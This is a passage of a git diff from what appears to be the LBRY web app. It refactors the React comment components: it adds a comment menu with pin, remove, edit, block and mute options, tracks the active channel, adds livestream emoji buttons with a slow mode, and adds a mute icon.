stakedLevel,
|
||||
} = props;
|
||||
const {
|
||||
push,
|
||||
@@ -106,10 +96,7 @@ function Comment(props: Props) {
|
||||
const dislikesCount = (othersReacts && othersReacts.dislike) || 0;
|
||||
const totalLikesAndDislikes = likesCount + dislikesCount;
|
||||
const slimedToDeath = totalLikesAndDislikes >= 5 && dislikesCount / totalLikesAndDislikes > 0.8;
|
||||
// to debounce subsequent requests
|
||||
const shouldFetch =
|
||||
channel === undefined ||
|
||||
(channel !== null && channel.value_type === 'channel' && isEmpty(channel.meta) && !pending);
|
||||
|
||||
let channelOwnerOfContent;
|
||||
try {
|
||||
const { channelName } = parseURI(uri);
|
||||
@@ -119,16 +106,11 @@ function Comment(props: Props) {
|
||||
} catch (e) {}
|
||||
|
||||
useEffect(() => {
|
||||
// If author was extracted from the URI, then it must be valid.
|
||||
if (authorUri && author && !isResolvingUri && shouldFetch) {
|
||||
resolveUri(authorUri);
|
||||
}
|
||||
|
||||
if (isEditing) {
|
||||
setCharCount(editedMessage.length);
|
||||
|
||||
// a user will try and press the escape key to cancel editing their comment
|
||||
const handleEscape = event => {
|
||||
const handleEscape = (event) => {
|
||||
if (event.keyCode === ESCAPE_KEY) {
|
||||
setEditing(false);
|
||||
}
|
||||
@@ -141,14 +123,17 @@ function Comment(props: Props) {
|
||||
window.removeEventListener('keydown', handleEscape);
|
||||
};
|
||||
}
|
||||
}, [isResolvingUri, shouldFetch, author, authorUri, resolveUri, editedMessage, isEditing, setEditing]);
|
||||
}, [author, authorUri, editedMessage, isEditing, setEditing]);
|
||||
|
||||
function handleEditMessageChanged(event) {
|
||||
setCommentValue(!SIMPLE_SITE && advancedEditor ? event : event.target.value);
|
||||
}
|
||||
|
||||
function handlePinComment(commentId, remove) {
|
||||
pinComment(commentId, remove).then(() => fetchComments(uri));
|
||||
function handleEditComment() {
|
||||
if (playingUri && playingUri.source === 'comment') {
|
||||
clearPlayingUri();
|
||||
}
|
||||
setEditing(true);
|
||||
}
|
||||
|
||||
function handleSubmit() {
|
||||
@@ -202,11 +187,7 @@ function Comment(props: Props) {
|
||||
{!author ? (
|
||||
<span className="comment__author">{__('Anonymous')}</span>
|
||||
) : (
|
||||
<Button
|
||||
className="button--uri-indicator truncated-text comment__author"
|
||||
navigate={authorUri}
|
||||
label={author}
|
||||
/>
|
||||
<UriIndicator link uri={authorUri} />
|
||||
)}
|
||||
<Button
|
||||
className="comment__time"
|
||||
@@ -225,45 +206,22 @@ function Comment(props: Props) {
|
||||
</div>
|
||||
<div className="comment__menu">
|
||||
<Menu>
|
||||
<MenuButton>
|
||||
<MenuButton className="menu__button">
|
||||
<Icon
|
||||
size={18}
|
||||
className={mouseIsHovering ? 'comment__menu-icon--hovering' : 'comment__menu-icon'}
|
||||
icon={ICONS.MORE_VERTICAL}
|
||||
/>
|
||||
</MenuButton>
|
||||
<MenuList className="menu__list--comments">
|
||||
{commentIsMine ? (
|
||||
<>
|
||||
<MenuItem className="comment__menu-option menu__link" onSelect={() => setEditing(true)}>
|
||||
<Icon aria-hidden icon={ICONS.EDIT} />
|
||||
{__('Edit')}
|
||||
</MenuItem>
|
||||
<MenuItem className="comment__menu-option menu__link" onSelect={() => deleteComment(commentId)}>
|
||||
<Icon aria-hidden icon={ICONS.DELETE} />
|
||||
{__('Delete')}
|
||||
</MenuItem>
|
||||
</>
|
||||
) : (
|
||||
<MenuItem className="comment__menu-option menu__link" onSelect={() => blockChannel(authorUri)}>
|
||||
<Icon aria-hidden icon={ICONS.NO} />
|
||||
{__('Block Channel')}
|
||||
</MenuItem>
|
||||
)}
|
||||
{commentIdentityChannel === contentChannel && isTopLevel && (
|
||||
<MenuItem
|
||||
className="comment__menu-option menu__link"
|
||||
onSelect={
|
||||
isPinned ? () => handlePinComment(commentId, true) : () => handlePinComment(commentId, false)
|
||||
}
|
||||
>
|
||||
<span className={'button__content'}>
|
||||
<Icon aria-hidden icon={ICONS.PIN} className={'icon'} />
|
||||
{isPinned ? __('Unpin') : __('Pin')}
|
||||
</span>
|
||||
</MenuItem>
|
||||
)}
|
||||
</MenuList>
|
||||
<CommentMenuList
|
||||
uri={uri}
|
||||
isTopLevel={isTopLevel}
|
||||
isPinned={isPinned}
|
||||
commentId={commentId}
|
||||
authorUri={authorUri}
|
||||
commentIsMine={commentIsMine}
|
||||
handleEditComment={handleEditComment}
|
||||
/>
|
||||
</Menu>
|
||||
</div>
|
||||
</div>
|
||||
@@ -298,10 +256,20 @@ function Comment(props: Props) {
|
||||
</div>
|
||||
) : editedMessage.length >= LENGTH_TO_COLLAPSE ? (
|
||||
<Expandable>
|
||||
<MarkdownPreview content={message} promptLinks parentCommentId={commentId} />
|
||||
<MarkdownPreview
|
||||
content={message}
|
||||
promptLinks
|
||||
parentCommentId={commentId}
|
||||
stakedLevel={stakedLevel}
|
||||
/>
|
||||
</Expandable>
|
||||
) : (
|
||||
<MarkdownPreview content={message} promptLinks parentCommentId={commentId} />
|
||||
<MarkdownPreview
|
||||
content={message}
|
||||
promptLinks
|
||||
parentCommentId={commentId}
|
||||
stakedLevel={stakedLevel}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
|
||||
|
||||
@@ -1,9 +1,16 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectClaimForUri, selectMyChannelClaims, selectFetchingMyChannels } from 'lbry-redux';
|
||||
import { selectIsPostingComment, selectCommentChannel } from 'redux/selectors/comments';
|
||||
import { doOpenModal } from 'redux/actions/app';
|
||||
import { doCommentCreate, doSetCommentChannel } from 'redux/actions/comments';
|
||||
import {
|
||||
makeSelectClaimForUri,
|
||||
makeSelectClaimIsMine,
|
||||
selectMyChannelClaims,
|
||||
selectFetchingMyChannels,
|
||||
} from 'lbry-redux';
|
||||
import { selectIsPostingComment } from 'redux/selectors/comments';
|
||||
import { doOpenModal, doSetActiveChannel } from 'redux/actions/app';
|
||||
import { doCommentCreate } from 'redux/actions/comments';
|
||||
import { selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
import { selectActiveChannelClaim } from 'redux/selectors/app';
|
||||
import { doToast } from 'redux/actions/notifications';
|
||||
import { CommentCreate } from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
@@ -12,14 +19,15 @@ const select = (state, props) => ({
|
||||
channels: selectMyChannelClaims(state),
|
||||
isFetchingChannels: selectFetchingMyChannels(state),
|
||||
isPostingComment: selectIsPostingComment(state),
|
||||
activeChannel: selectCommentChannel(state),
|
||||
activeChannelClaim: selectActiveChannelClaim(state),
|
||||
claimIsMine: makeSelectClaimIsMine(props.uri)(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch, ownProps) => ({
|
||||
createComment: (comment, claimId, channel, parentId) =>
|
||||
dispatch(doCommentCreate(comment, claimId, channel, parentId, ownProps.uri)),
|
||||
createComment: (comment, claimId, parentId) => dispatch(doCommentCreate(comment, claimId, parentId, ownProps.uri)),
|
||||
openModal: (modal, props) => dispatch(doOpenModal(modal, props)),
|
||||
setCommentChannel: name => dispatch(doSetCommentChannel(name)),
|
||||
setActiveChannel: (claimId) => dispatch(doSetActiveChannel(claimId)),
|
||||
toast: (message) => dispatch(doToast({ message, isError: true })),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(CommentCreate);
|
||||
@@ -1,16 +1,25 @@
|
||||
// @flow
|
||||
import { SIMPLE_SITE } from 'config';
|
||||
import * as PAGES from 'constants/pages';
|
||||
import { CHANNEL_NEW } from 'constants/claim';
|
||||
import React, { useEffect, useState } from 'react';
|
||||
import classnames from 'classnames';
|
||||
import { FormField, Form } from 'component/common/form';
|
||||
import Button from 'component/button';
|
||||
import ChannelSelection from 'component/selectChannel';
|
||||
import SelectChannel from 'component/selectChannel';
|
||||
import usePersistedState from 'effects/use-persisted-state';
|
||||
import { FF_MAX_CHARS_IN_COMMENT } from 'constants/form-field';
|
||||
import { useHistory } from 'react-router';
|
||||
import type { ElementRef } from 'react';
|
||||
import emoji from 'emoji-dictionary';
|
||||
|
||||
const COMMENT_SLOW_MODE_SECONDS = 5;
|
||||
const LIVESTREAM_EMOJIS = [
|
||||
emoji.getUnicode('rocket'),
|
||||
emoji.getUnicode('jeans'),
|
||||
emoji.getUnicode('fire'),
|
||||
emoji.getUnicode('heart'),
|
||||
emoji.getUnicode('open_mouth'),
|
||||
];
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
@@ -25,7 +34,10 @@ type Props = {
|
||||
isReply: boolean,
|
||||
isPostingComment: boolean,
|
||||
activeChannel: string,
|
||||
setCommentChannel: string => void,
|
||||
activeChannelClaim: ?ChannelClaim,
|
||||
livestream?: boolean,
|
||||
toast: (string) => void,
|
||||
claimIsMine: boolean,
|
||||
};
|
||||
|
||||
export function CommentCreate(props: Props) {
|
||||
@@ -40,31 +52,20 @@ export function CommentCreate(props: Props) {
|
||||
isReply,
|
||||
parentId,
|
||||
isPostingComment,
|
||||
activeChannel,
|
||||
setCommentChannel,
|
||||
activeChannelClaim,
|
||||
livestream,
|
||||
toast,
|
||||
claimIsMine,
|
||||
} = props;
|
||||
const buttonref: ElementRef<any> = React.useRef();
|
||||
const { push } = useHistory();
|
||||
const { claim_id: claimId } = claim;
|
||||
const [commentValue, setCommentValue] = React.useState('');
|
||||
const [lastCommentTime, setLastCommentTime] = React.useState();
|
||||
const [charCount, setCharCount] = useState(commentValue.length);
|
||||
const [advancedEditor, setAdvancedEditor] = usePersistedState('comment-editor-mode', false);
|
||||
const hasChannels = channels && channels.length;
|
||||
const disabled = isPostingComment || activeChannel === CHANNEL_NEW || !commentValue.length;
|
||||
const topChannel =
|
||||
channels &&
|
||||
channels.reduce((top, channel) => {
|
||||
const topClaimCount = (top && top.meta && top.meta.claims_in_channel) || 0;
|
||||
const currentClaimCount = (activeChannel && channel.meta && channel.meta.claims_in_channel) || 0;
|
||||
return topClaimCount >= currentClaimCount ? top : channel;
|
||||
});
|
||||
|
||||
useEffect(() => {
|
||||
// set default channel
|
||||
if ((activeChannel === '' || activeChannel === 'anonymous') && topChannel) {
|
||||
setCommentChannel(topChannel.name);
|
||||
}
|
||||
}, [activeChannel, topChannel, setCommentChannel]);
|
||||
const disabled = isPostingComment || !activeChannelClaim || !commentValue.length;
|
||||
|
||||
function handleCommentChange(event) {
|
||||
let commentValue;
|
||||
@@ -94,8 +95,19 @@ export function CommentCreate(props: Props) {
|
||||
}
|
||||
|
||||
function handleSubmit() {
|
||||
if (activeChannel !== CHANNEL_NEW && commentValue.length) {
|
||||
createComment(commentValue, claimId, activeChannel, parentId).then(res => {
|
||||
if (activeChannelClaim && commentValue.length) {
|
||||
const timeUntilCanComment = !lastCommentTime
|
||||
? 0
|
||||
: lastCommentTime / 1000 - Date.now() / 1000 + COMMENT_SLOW_MODE_SECONDS;
|
||||
|
||||
if (livestream && !claimIsMine && timeUntilCanComment > 0) {
|
||||
toast(
|
||||
__('Slowmode is on. You can comment again in %time% seconds.', { time: Math.floor(timeUntilCanComment) })
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
createComment(commentValue, claimId, parentId).then((res) => {
|
||||
if (res && res.signature) {
|
||||
setCommentValue('');
|
||||
|
||||
@@ -138,13 +150,13 @@ export function CommentCreate(props: Props) {
|
||||
})}
|
||||
>
|
||||
<FormField
|
||||
disabled={activeChannel === CHANNEL_NEW}
|
||||
disabled={!activeChannelClaim}
|
||||
type={SIMPLE_SITE ? 'textarea' : advancedEditor && !isReply ? 'markdown' : 'textarea'}
|
||||
name={isReply ? 'content_reply' : 'content_description'}
|
||||
label={
|
||||
<span className="comment-new__label-wrapper">
|
||||
<div className="comment-new__label">{isReply ? __('Replying as') + ' ' : __('Comment as') + ' '}</div>
|
||||
<ChannelSelection channel={activeChannel} hideAnon tiny hideNew onChannelChange={setCommentChannel} />
|
||||
<SelectChannel tiny />
|
||||
</span>
|
||||
}
|
||||
quickActionLabel={
|
||||
@@ -160,6 +172,23 @@ export function CommentCreate(props: Props) {
|
||||
autoFocus={isReply}
|
||||
textAreaMaxLength={FF_MAX_CHARS_IN_COMMENT}
|
||||
/>
|
||||
{livestream && hasChannels && (
|
||||
<div className="livestream__emoji-actions">
|
||||
{LIVESTREAM_EMOJIS.map((emoji) => (
|
||||
<Button
|
||||
key={emoji}
|
||||
disabled={isPostingComment}
|
||||
type="button"
|
||||
button="alt"
|
||||
className="button--emoji"
|
||||
label={emoji}
|
||||
onClick={() => {
|
||||
setCommentValue(commentValue ? `${commentValue} ${emoji}` : emoji);
|
||||
}}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
<div className="section__actions section__actions--no-margin">
|
||||
<Button
|
||||
ref={buttonref}
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectChannelPermUrlForClaimUri, makeSelectClaimIsMine, makeSelectClaimForUri } from 'lbry-redux';
|
||||
import { doCommentAbandon, doCommentPin, doCommentList, doCommentModBlock } from 'redux/actions/comments';
|
||||
import { doToggleMuteChannel } from 'redux/actions/blocked';
|
||||
// import { doSetActiveChannel } from 'redux/actions/app';
|
||||
import { doSetPlayingUri } from 'redux/actions/content';
|
||||
import { selectActiveChannelClaim } from 'redux/selectors/app';
|
||||
import { selectPlayingUri } from 'redux/selectors/content';
|
||||
import CommentMenuList from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
claim: makeSelectClaimForUri(props.uri)(state),
|
||||
claimIsMine: makeSelectClaimIsMine(props.uri)(state),
|
||||
contentChannelPermanentUrl: makeSelectChannelPermUrlForClaimUri(props.uri)(state),
|
||||
activeChannelClaim: selectActiveChannelClaim(state),
|
||||
playingUri: selectPlayingUri(state),
|
||||
});
|
||||
|
||||
const perform = (dispatch) => ({
|
||||
clearPlayingUri: () => dispatch(doSetPlayingUri({ uri: null })),
|
||||
deleteComment: (commentId, creatorChannelUrl) => dispatch(doCommentAbandon(commentId, creatorChannelUrl)),
|
||||
blockChannel: (channelUri) => dispatch(doToggleMuteChannel(channelUri)),
|
||||
pinComment: (commentId, remove) => dispatch(doCommentPin(commentId, remove)),
|
||||
fetchComments: (uri) => dispatch(doCommentList(uri)),
|
||||
// setActiveChannel: channelId => dispatch(doSetActiveChannel(channelId)),
|
||||
commentModBlock: (commentAuthor) => dispatch(doCommentModBlock(commentAuthor)),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(CommentMenuList);
|
||||
@@ -0,0 +1,143 @@
|
||||
// @flow
|
||||
import * as ICONS from 'constants/icons';
|
||||
import React from 'react';
|
||||
import { MenuList, MenuItem } from '@reach/menu-button';
|
||||
import ChannelThumbnail from 'component/channelThumbnail';
|
||||
import Icon from 'component/common/icon';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
clearPlayingUri: () => void,
|
||||
authorUri: string, // full LBRY Channel URI: lbry://@channel#123...
|
||||
commentId: string, // sha256 digest identifying the comment
|
||||
claimIsMine: boolean, // if you control the claim which this comment was posted on
|
||||
commentIsMine: boolean, // if this comment was signed by an owned channel
|
||||
deleteComment: (string, ?string) => void,
|
||||
linkedComment?: any,
|
||||
isPinned: boolean,
|
||||
pinComment: (string, boolean) => Promise<any>,
|
||||
blockChannel: (string) => void,
|
||||
fetchComments: (string) => void,
|
||||
handleEditComment: () => void,
|
||||
contentChannelPermanentUrl: any,
|
||||
activeChannelClaim: ?ChannelClaim,
|
||||
claimIsMine: boolean,
|
||||
isTopLevel: boolean,
|
||||
commentModBlock: (string) => void,
|
||||
playingUri: ?PlayingUri,
|
||||
};
|
||||
|
||||
function CommentMenuList(props: Props) {
|
||||
const {
|
||||
uri,
|
||||
authorUri,
|
||||
commentIsMine,
|
||||
commentId,
|
||||
deleteComment,
|
||||
blockChannel,
|
||||
pinComment,
|
||||
claimIsMine,
|
||||
clearPlayingUri,
|
||||
activeChannelClaim,
|
||||
contentChannelPermanentUrl,
|
||||
isTopLevel,
|
||||
isPinned,
|
||||
handleEditComment,
|
||||
fetchComments,
|
||||
commentModBlock,
|
||||
playingUri,
|
||||
} = props;
|
||||
const activeChannelIsCreator = activeChannelClaim && activeChannelClaim.permanent_url === contentChannelPermanentUrl;
|
||||
|
||||
function handlePinComment(commentId, remove) {
|
||||
pinComment(commentId, remove).then(() => fetchComments(uri));
|
||||
}
|
||||
|
||||
function handleDeleteComment() {
|
||||
if (playingUri && playingUri.source === 'comment') {
|
||||
clearPlayingUri();
|
||||
}
|
||||
deleteComment(commentId, commentIsMine ? undefined : contentChannelPermanentUrl);
|
||||
}
|
||||
|
||||
function handleCommentBlock() {
|
||||
if (claimIsMine) {
|
||||
commentModBlock(authorUri);
|
||||
}
|
||||
}
|
||||
|
||||
function handleCommentMute() {
|
||||
blockChannel(authorUri);
|
||||
}
|
||||
|
||||
return (
|
||||
<MenuList className="menu__list">
|
||||
{activeChannelIsCreator && <div className="comment__menu-title">{__('Creator tools')}</div>}
|
||||
|
||||
{activeChannelIsCreator && isTopLevel && (
|
||||
<MenuItem
|
||||
className="comment__menu-option menu__link"
|
||||
onSelect={isPinned ? () => handlePinComment(commentId, true) : () => handlePinComment(commentId, false)}
|
||||
>
|
||||
<span className={'button__content'}>
|
||||
<Icon aria-hidden icon={ICONS.PIN} className={'icon'} />
|
||||
{isPinned ? __('Unpin') : __('Pin')}
|
||||
</span>
|
||||
</MenuItem>
|
||||
)}
|
||||
|
||||
{activeChannelClaim &&
|
||||
(activeChannelClaim.permanent_url === authorUri ||
|
||||
activeChannelClaim.permanent_url === contentChannelPermanentUrl) && (
|
||||
<MenuItem className="comment__menu-option" onSelect={handleDeleteComment}>
|
||||
<div className="menu__link">
|
||||
<Icon aria-hidden icon={ICONS.DELETE} />
|
||||
{__('Remove')}
|
||||
</div>
|
||||
</MenuItem>
|
||||
)}
|
||||
|
||||
{commentIsMine && activeChannelClaim && activeChannelClaim.permanent_url === authorUri && (
|
||||
<MenuItem className="comment__menu-option menu__link" onSelect={handleEditComment}>
|
||||
<Icon aria-hidden icon={ICONS.EDIT} />
|
||||
{__('Edit')}
|
||||
</MenuItem>
|
||||
)}
|
||||
|
||||
{!commentIsMine && (
|
||||
<MenuItem className="comment__menu-option" onSelect={handleCommentBlock}>
|
||||
<div className="menu__link">
|
||||
<Icon aria-hidden icon={ICONS.BLOCK} />
|
||||
{__('Block')}
|
||||
</div>
|
||||
{activeChannelIsCreator && (
|
||||
<span className="comment__menu-help">{__('Prevent this channel from interacting with you.')}</span>
|
||||
)}
|
||||
</MenuItem>
|
||||
)}
|
||||
|
||||
{!commentIsMine && (
|
||||
<MenuItem className="comment__menu-option" onSelect={handleCommentMute}>
|
||||
<div className="menu__link">
|
||||
<Icon aria-hidden icon={ICONS.MUTE} />
|
||||
{__('Mute')}
|
||||
</div>
|
||||
{activeChannelIsCreator && (
|
||||
<span className="comment__menu-help">{__('Hide this channel for you only.')}</span>
|
||||
)}
|
||||
</MenuItem>
|
||||
)}
|
||||
|
||||
{activeChannelClaim && (
|
||||
<div className="comment__menu-active">
|
||||
<ChannelThumbnail uri={activeChannelClaim.permanent_url} />
|
||||
<div className="comment__menu-channel">
|
||||
{__('Interacting as %channelName%', { channelName: activeChannelClaim.name })}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</MenuList>
|
||||
);
|
||||
}
|
||||
|
||||
export default CommentMenuList;
|
||||
@@ -2,19 +2,16 @@ import { connect } from 'react-redux';
|
||||
import Comment from './view';
|
||||
import { makeSelectClaimIsMine, makeSelectClaimForUri } from 'lbry-redux';
|
||||
import { doToast } from 'redux/actions/notifications';
|
||||
import {
|
||||
makeSelectMyReactionsForComment,
|
||||
makeSelectOthersReactionsForComment,
|
||||
selectCommentChannel,
|
||||
} from 'redux/selectors/comments';
|
||||
import { makeSelectMyReactionsForComment, makeSelectOthersReactionsForComment } from 'redux/selectors/comments';
|
||||
import { doCommentReact } from 'redux/actions/comments';
|
||||
import { selectActiveChannelId } from 'redux/selectors/app';
|
||||
|
||||
const select = (state, props) => ({
|
||||
claim: makeSelectClaimForUri(props.uri)(state),
|
||||
claimIsMine: makeSelectClaimIsMine(props.uri)(state),
|
||||
myReacts: makeSelectMyReactionsForComment(props.commentId)(state),
|
||||
othersReacts: makeSelectOthersReactionsForComment(props.commentId)(state),
|
||||
activeChannel: selectCommentChannel(state),
|
||||
activeChannelId: selectActiveChannelId(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
|
||||
@@ -16,13 +16,13 @@ type Props = {
|
||||
commentId: string,
|
||||
pendingCommentReacts: Array<string>,
|
||||
claimIsMine: boolean,
|
||||
activeChannel: string,
|
||||
activeChannelId: ?string,
|
||||
claim: ?ChannelClaim,
|
||||
doToast: ({ message: string }) => void,
|
||||
};
|
||||
|
||||
export default function CommentReactions(props: Props) {
|
||||
const { myReacts, othersReacts, commentId, react, claimIsMine, claim, activeChannel, doToast } = props;
|
||||
const { myReacts, othersReacts, commentId, react, claimIsMine, claim, activeChannelId, doToast } = props;
|
||||
const {
|
||||
push,
|
||||
location: { pathname },
|
||||
@@ -31,14 +31,14 @@ export default function CommentReactions(props: Props) {
|
||||
claim &&
|
||||
claimIsMine &&
|
||||
(claim.value_type === 'channel'
|
||||
? claim.name === activeChannel
|
||||
: claim.signing_channel && claim.signing_channel.name === activeChannel);
|
||||
? claim.claim_id === activeChannelId
|
||||
: claim.signing_channel && claim.signing_channel.claim_id === activeChannelId);
|
||||
const authorUri =
|
||||
claim && claim.value_type === 'channel'
|
||||
? claim.canonical_url
|
||||
: claim && claim.signing_channel && claim.signing_channel.canonical_url;
|
||||
|
||||
const getCountForReact = type => {
|
||||
const getCountForReact = (type) => {
|
||||
let count = 0;
|
||||
if (othersReacts && othersReacts[type]) {
|
||||
count += othersReacts[type];
|
||||
@@ -52,7 +52,7 @@ export default function CommentReactions(props: Props) {
|
||||
const creatorLiked = getCountForReact(REACTION_TYPES.CREATOR_LIKE) > 0;
|
||||
|
||||
function handleCommentLike() {
|
||||
if (activeChannel) {
|
||||
if (activeChannelId) {
|
||||
react(commentId, REACTION_TYPES.LIKE);
|
||||
} else {
|
||||
promptForChannel();
|
||||
@@ -60,7 +60,7 @@ export default function CommentReactions(props: Props) {
|
||||
}
|
||||
|
||||
function handleCommentDislike() {
|
||||
if (activeChannel) {
|
||||
if (activeChannelId) {
|
||||
react(commentId, REACTION_TYPES.DISLIKE);
|
||||
} else {
|
||||
promptForChannel();
|
||||
@@ -105,7 +105,7 @@ export default function CommentReactions(props: Props) {
|
||||
className={classnames('comment__action comment__action--creator-like')}
|
||||
onClick={() => react(commentId, REACTION_TYPES.CREATOR_LIKE)}
|
||||
>
|
||||
{creatorLiked && <ChannelThumbnail uri={authorUri} className="comment__creator-like" />}
|
||||
{creatorLiked && <ChannelThumbnail uri={authorUri} hideStakedIndicator className="comment__creator-like" />}
|
||||
</Button>
|
||||
)}
|
||||
</>
|
||||
|
||||
@@ -5,10 +5,10 @@ import {
|
||||
selectIsFetchingComments,
|
||||
makeSelectTotalCommentsCountForUri,
|
||||
selectOthersReactsById,
|
||||
selectCommentChannel,
|
||||
} from 'redux/selectors/comments';
|
||||
import { doCommentList, doCommentReactList } from 'redux/actions/comments';
|
||||
import { selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
import { selectActiveChannelId } from 'redux/selectors/app';
|
||||
import CommentsList from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
@@ -20,7 +20,7 @@ const select = (state, props) => ({
|
||||
commentingEnabled: IS_WEB ? Boolean(selectUserVerifiedEmail(state)) : true,
|
||||
fetchingChannels: selectFetchingMyChannels(state),
|
||||
reactionsById: selectOthersReactsById(state),
|
||||
activeChannel: selectCommentChannel(state),
|
||||
activeChannelId: selectActiveChannelId(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
|
||||
@@ -26,7 +26,7 @@ type Props = {
|
||||
totalComments: number,
|
||||
fetchingChannels: boolean,
|
||||
reactionsById: ?{ [string]: { [REACTION_TYPES.LIKE | REACTION_TYPES.DISLIKE]: number } },
|
||||
activeChannel: string,
|
||||
activeChannelId: ?string,
|
||||
};
|
||||
|
||||
function CommentList(props: Props) {
|
||||
@@ -42,7 +42,7 @@ function CommentList(props: Props) {
|
||||
totalComments,
|
||||
fetchingChannels,
|
||||
reactionsById,
|
||||
activeChannel,
|
||||
activeChannelId,
|
||||
} = props;
|
||||
const commentRef = React.useRef();
|
||||
const spinnerRef = React.useRef();
|
||||
@@ -90,7 +90,7 @@ function CommentList(props: Props) {
|
||||
})
|
||||
.catch(() => setReadyToDisplayComments(true));
|
||||
}
|
||||
}, [fetchReacts, uri, totalComments, activeChannel, fetchingChannels]);
|
||||
}, [fetchReacts, uri, totalComments, activeChannelId, fetchingChannels]);
|
||||
|
||||
useEffect(() => {
|
||||
if (readyToDisplayComments && linkedCommentId && commentRef && commentRef.current) {
|
||||
|
||||
@@ -18,7 +18,7 @@ type Props = {
|
||||
error?: string | boolean,
|
||||
helper?: string | React$Node,
|
||||
type?: string,
|
||||
onChange?: any => any,
|
||||
onChange?: (any) => any,
|
||||
defaultValue?: string | number,
|
||||
placeholder?: string | number,
|
||||
children?: React$Node,
|
||||
@@ -37,7 +37,7 @@ type Props = {
|
||||
min?: number,
|
||||
max?: number,
|
||||
quickActionLabel?: string,
|
||||
quickActionHandler?: any => any,
|
||||
quickActionHandler?: (any) => any,
|
||||
};
|
||||
|
||||
export class FormField extends React.PureComponent<Props> {
|
||||
@@ -147,7 +147,7 @@ export class FormField extends React.PureComponent<Props> {
|
||||
contextmenu: openEditorMenu,
|
||||
};
|
||||
|
||||
const getInstance = editor => {
|
||||
const getInstance = (editor) => {
|
||||
// SimpleMDE max char check
|
||||
editor.codemirror.on('beforeChange', (instance, changes) => {
|
||||
if (textAreaMaxLength && changes.update) {
|
||||
@@ -163,6 +163,44 @@ export class FormField extends React.PureComponent<Props> {
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// "Create Link (Ctrl-K)": highlight URL instead of label:
|
||||
editor.codemirror.on('changes', (instance, changes) => {
|
||||
try {
|
||||
// Grab the last change from the buffered list. I assume the
|
||||
// buffered one ('changes', instead of 'change') is more efficient,
|
||||
// and that "Create Link" will always end up last in the list.
|
||||
const lastChange = changes[changes.length - 1];
|
||||
if (lastChange.origin === '+input') {
|
||||
// https://github.com/Ionaru/easy-markdown-editor/blob/8fa54c496f98621d5f45f57577ce630bee8c41ee/src/js/easymde.js#L765
|
||||
const EASYMDE_URL_PLACEHOLDER = '(https://)';
|
||||
|
||||
// The URL placeholder is always placed last, so just look at the
|
||||
// last text in the array to also cover the multi-line case:
|
||||
const urlLineText = lastChange.text[lastChange.text.length - 1];
|
||||
|
||||
if (urlLineText.endsWith(EASYMDE_URL_PLACEHOLDER) && urlLineText !== '[]' + EASYMDE_URL_PLACEHOLDER) {
|
||||
const from = lastChange.from;
|
||||
const to = lastChange.to;
|
||||
const isSelectionMultiline = lastChange.text.length > 1;
|
||||
const baseIndex = isSelectionMultiline ? 0 : from.ch;
|
||||
|
||||
// Everything works fine for the [Ctrl-K] case, but for the
|
||||
// [Button] case, this handler happens before the original
|
||||
// code, thus our change got wiped out.
|
||||
// Add a small delay to handle that case.
|
||||
setTimeout(() => {
|
||||
instance.setSelection(
|
||||
{ line: to.line, ch: baseIndex + urlLineText.lastIndexOf('(') + 1 },
|
||||
{ line: to.line, ch: baseIndex + urlLineText.lastIndexOf(')') }
|
||||
);
|
||||
}, 25);
|
||||
}
|
||||
}
|
||||
} catch (err) {
|
||||
// Do nothing (revert to original behavior)
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
// Ideally, the character count should (and can) be appended to the
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
// A housing for all of our icons. Mostly taken from https://github.com/feathericons/react-feather
|
||||
import * as ICONS from 'constants/icons';
|
||||
import React, { forwardRef } from 'react';
|
||||
// $FlowFixMe
|
||||
import { v4 as uuid } from 'uuid';
|
||||
|
||||
type IconProps = {
|
||||
@@ -12,6 +11,7 @@ type IconProps = {
|
||||
|
||||
type CustomProps = {
|
||||
size?: number,
|
||||
className?: string,
|
||||
};
|
||||
|
||||
// Returns a react component
|
||||
@@ -41,7 +41,7 @@ const buildIcon = (iconStrokes: React$Node, customSvgValues = {}) =>
|
||||
|
||||
export const icons = {
|
||||
// The LBRY icon is different from the base icon set so don't use buildIcon()
|
||||
[ICONS.LBRY]: () => (
|
||||
[ICONS.LBRY]: (props: IconProps) => (
|
||||
<svg stroke="currentColor" fill="currentColor" x="0px" y="0px" viewBox="0 0 322 254" className="icon lbry-icon">
|
||||
<path d="M296,85.9V100l-138.8,85.3L52.6,134l0.2-7.9l104,51.2L289,96.1v-5.8L164.2,30.1L25,116.2v38.5l131.8,65.2 l137.6-84.4l3.9,6l-141.1,86.4L18.1,159.1v-46.8l145.8-90.2C163.9,22.1,296,85.9,296,85.9z" />
|
||||
<path d="M294.3,150.9l2-12.6l-12.2-2.1l0.8-4.9l17.1,2.9l-2.8,17.5L294.3,150.9L294.3,150.9z" />
|
||||
@@ -238,6 +238,13 @@ export const icons = {
|
||||
<circle cx="12" cy="12" r="10" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.MUTE]: buildIcon(
|
||||
<g>
|
||||
<polygon points="11 5 6 9 2 9 2 15 6 15 11 19 11 5" />
|
||||
<line x1="23" y1="9" x2="17" y2="15" />
|
||||
<line x1="17" y1="9" x2="23" y2="15" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.LIGHT]: buildIcon(
|
||||
<g>
|
||||
<circle cx="12" cy="12" r="5" />
|
||||
@@ -828,6 +835,219 @@ export const icons = {
|
||||
<polygon points="9.75 15.02 15.5 11.75 9.75 8.48 9.75 15.02" />
|
||||
</g>
|
||||
